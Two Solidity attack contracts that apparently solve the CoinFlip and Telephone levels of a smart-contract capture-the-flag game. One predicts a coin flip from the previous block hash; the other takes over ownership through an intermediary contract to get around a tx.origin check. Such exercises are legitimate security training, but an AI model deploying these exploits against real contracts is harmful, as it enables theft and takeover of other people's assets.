CoinFlip
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
interface ICoinFlip {
function flip(bool _guess) external returns (bool);
}
contract HackCoinflip {
ICoinFlip public coinFlip;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
bool result;
constructor(address _coinFlip) {
coinFlip = ICoinFlip(_coinFlip);
}
function flipCall() public {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 flip = blockValue / FACTOR;
bool side = flip == 1;
result = coinFlip.flip(side);
require(result);
}
function getResult() public view returns(bool) {
return result;
}
}
Telephone
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
interface ITelephone {
function changeOwner(address _owner) external;
}
contract HackTelephone {
ITelephone telephone;
constructor(address _telephone) {
telephone = ITelephone(_telephone);
}
function changeOwner() public {
telephone.changeOwner(msg.sender);
}
}